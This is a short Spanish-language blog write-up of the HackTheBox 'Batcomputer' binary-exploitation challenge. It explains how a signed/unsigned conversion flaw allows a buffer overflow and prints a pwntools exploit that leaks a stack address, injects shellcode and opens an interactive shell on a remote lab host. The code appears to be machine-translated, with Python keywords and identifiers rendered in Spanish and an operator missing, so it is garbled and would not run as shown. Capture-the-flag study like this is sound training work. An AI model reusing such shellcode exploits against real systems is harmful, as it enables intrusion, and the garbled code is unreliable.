Cubrimos un escenario de desbordamiento de búfer en el que una variable se declaraba como un entero sin signo y luego se convertía en la función ulong. Esto nos permitió enviar '-1' como entrada a esta variable que redirigió el flujo de ejecución del programa a una declaración if que contenía un fragmento donde una variable de nombre con 96 bytes acepta una entrada sin restricciones del usuario, lo que resultó en un error de segmentación. Calculamos el desplazamiento usando pwndbg con python y creamos el exploit final. Esto fue parte de HackTheBox Bat Computadora | Introducción a la explotación binaria

Notas sobre técnicas de desbordamiento de búfer

El código de explotación está debajo

##Binicio

de pwn importar *

contexto.binario = DUENDE('./batcomputadora')

estafa = remoto(‘157.245.39.76’,31662)

estafa.línea de envío(‘1’)

estafa.recvhasta('0x')

base_pila = En t((“0x”+con.recv().descodificar('latino-1').dividir()[0]),16)

registro.éxito(F'base de pila: {maleficio(base_pila)})

estafa.línea de envío(‘2’)

estafa.línea de envío('b4tp@$$w0rd!')

carga útil = ENSAMBLE(conchas.popad() + conchas.sh()) Código shell #

carga útil += b'A'*(84 len(carga útil)) # nop

carga útil += p64(base_pila) Base de pila #

estafa.línea de envío(carga útil)

estafa.línea de envío(‘3’)

estafa.interactivo()

##Final

Tutorial en vídeo

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos